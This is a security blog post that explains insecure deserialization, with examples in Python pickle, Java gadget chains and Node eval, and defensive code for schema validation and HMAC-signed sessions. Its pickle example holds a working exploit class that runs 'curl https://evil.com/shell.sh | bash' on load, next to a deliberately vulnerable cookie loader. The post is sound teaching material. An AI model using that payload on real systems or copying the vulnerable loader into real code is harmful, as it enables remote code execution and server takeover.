0x55aa
Back to Blog

💀 Insecure Deserialization: When Your App Executes Whatever You Send It

|
6 min read

💀 Insecure Deserialization: When Your App Executes Whatever You Send It

Picture this: you've spent weeks hardening your API. SQL injection? Parameterized queries. XSS? Content Security Policy locked down. CSRF? Tokens everywhere. You're feeling good.

Then an attacker sends you what looks like a perfectly normal session cookie — and your server runs their code. Full remote code execution. Game over.

Welcome to insecure deserialization, OWASP's gift that keeps on giving, and one of the sneakiest vulnerabilities in the web security canon.


What Even Is Serialization?

Before we get to the scary part, a quick refresher.

Serialization is the process of converting an in-memory object into a format that can be stored or transmitted — think JSON, XML, or binary formats like Java's native serialization or Python's pickle.

Deserialization is the reverse: taking that stored/transmitted blob and reconstructing the original object.

Your app does this constantly:

  • Session data stored in cookies
  • Cache entries in Redis
  • Messages passed between microservices
  • File uploads that get parsed

The problem? Most deserialization libraries are way too trusting. They'll reconstruct whatever object the data describes — including objects with destructive behavior baked right in.


The Attack: Giving Your Server Bad Instructions

Here's the mental model: imagine your app gets a cookie that says "reconstruct this Python object." A normal cookie might reconstruct a User with id=42, role=viewer.

An attacker's cookie might reconstruct a system call that runs rm -rf / or opens a reverse shell back to their machine.

The serialized payload is essentially executable instructions disguised as data. And if your app trusts it blindly, it will execute those instructions when deserializing.

A Python Pickle Disaster

Python's pickle module is the canonical example of how bad this can get. Pickle is powerful — and deeply unsafe to use with untrusted data.

import pickle
import base64
import os

# What an attacker sends you (base64-encoded pickle payload)
# This innocuous-looking blob actually runs a shell command when deserialized

class Exploit(object):
    def __reduce__(self):
        return (os.system, ('curl https://evil.com/shell.sh | bash',))

payload = base64.b64encode(pickle.dumps(Exploit()))
print(payload)  # Attacker sends this as a "session token"

# =============================
# Your app, trustingly doing this:
# =============================

def load_session(cookie_value):
    data = base64.b64decode(cookie_value)
    return pickle.loads(data)  # 💀 RCE right here

session = load_session(request.cookies.get('session'))

The moment pickle.loads() runs on that payload, os.system() executes. Your server just fetched and ran an attacker's shell script. No warnings. No errors. Just execution.

Never, ever use pickle to deserialize data you didn't create yourself.


Java's Serialization Catastrophe

Java's native serialization has its own Hall of Shame. The Apache Commons Collections exploit (CVE-2015-4852) let attackers achieve RCE against any Java app that:

  1. Accepted serialized Java objects over the network
  2. Had Apache Commons Collections on the classpath

That was basically every enterprise Java app in existence circa 2015. WebLogic, WebSphere, JBoss — all affected. This wasn't an obscure edge case; it was the backbone of enterprise software melting down.

The attack worked because Java's deserialization calls methods like readObject() during reconstruction, and attackers could chain together "gadgets" — legitimate classes in the classpath that, when composed correctly, became a weapon.


Real-World Consequences

I was doing a security review at Cubet on a Node.js microservices project where session state was being passed between services as base64-encoded JSON. Looks harmless, right? JSON can't execute code.

Except one service was using eval() to parse certain dynamic config keys from that JSON. Someone had gotten clever — too clever — and used eval to handle computed property names. The moment untrusted data flowed through that path, you had code injection.

The fix took 20 minutes. The discovery took an audit. That's the insidious part about deserialization issues: they're often buried in layers of abstraction, and the dangerous operation is far removed from the user input.


How to Actually Fix This

1. Don't Deserialize Untrusted Data Into Objects

The safest fix is the most radical one: don't. Use plain data formats like JSON and validate the structure strictly with a schema validator.

import Ajv from 'ajv';

const ajv = new Ajv();

const sessionSchema = {
  type: 'object',
  properties: {
    userId: { type: 'integer' },
    role: { type: 'string', enum: ['viewer', 'editor', 'admin'] },
  },
  required: ['userId', 'role'],
  additionalProperties: false,  // 👈 reject unexpected fields
};

const validate = ajv.compile(sessionSchema);

function loadSession(rawJson) {
  const data = JSON.parse(rawJson);
  
  if (!validate(data)) {
    throw new Error('Invalid session structure');
  }
  
  return data;  // Safe: it's just data, not an object with behavior
}

JSON can't carry executable logic. Validating the schema means even malformed data gets rejected before it touches your business logic.

2. Sign Your Serialized Data

If you absolutely must serialize complex objects, sign them with a secret key and verify the signature before deserializing. An attacker can't tamper with data they can't forge.

import hmac
import hashlib
import json
import os

SECRET = os.environ['SESSION_SECRET']

def serialize_session(data: dict) -> str:
    payload = json.dumps(data)
    sig = hmac.new(SECRET.encode(), payload.encode(), hashlib.sha256).hexdigest()
    return f"{payload}|{sig}"

def deserialize_session(token: str) -> dict:
    parts = token.rsplit('|', 1)
    if len(parts) != 2:
        raise ValueError("Invalid token format")
    
    payload, sig = parts
    expected = hmac.new(SECRET.encode(), payload.encode(), hashlib.sha256).hexdigest()
    
    # Constant-time comparison to prevent timing attacks
    if not hmac.compare_digest(sig, expected):
        raise ValueError("Signature mismatch — tampered data")
    
    return json.loads(payload)

3. Language-Specific Mitigations

  • Python: Ban pickle for user-supplied data. Use json or msgpack with schema validation.
  • Java: Use ObjectInputFilter (Java 9+) to allowlist which classes can be deserialized. Better yet, switch to Jackson/Gson for data exchange.
  • PHP: Avoid unserialize() on user input. Use json_decode() instead.
  • Node.js: Treat eval(), new Function(), and vm.runInContext() as radioactive near any user data.

Spotting It in the Wild

Red flags to watch for in code review:

  • Any pickle.loads(), unserialize(), or Java ObjectInputStream.readObject() that touches request data
  • Session cookies that look like base64-encoded binary blobs (not JWTs)
  • Config passed between services as serialized objects rather than plain JSON
  • Cache entries that get deserialized back into full objects with methods

The Bottom Line

Insecure deserialization sits on the OWASP Top 10 because it's both common and catastrophically dangerous. The blast radius goes straight to remote code execution — there's no "partial" version of this vulnerability. It's full compromise or nothing.

The defense is mostly philosophical: treat serialized data as untrusted input, always. Validate structure. Sign payloads. Prefer dumb data formats over smart object graphs. Your future self (and your incident response team) will thank you.

Now go audit your session storage. I'll wait.


Found a gnarly deserialization bug in your codebase? I'd love to hear the story — reach out on Twitter/X or connect on LinkedIn. And if this post saved your server from becoming someone's reverse shell, share it with your team.

Thanks for reading!

Back to all posts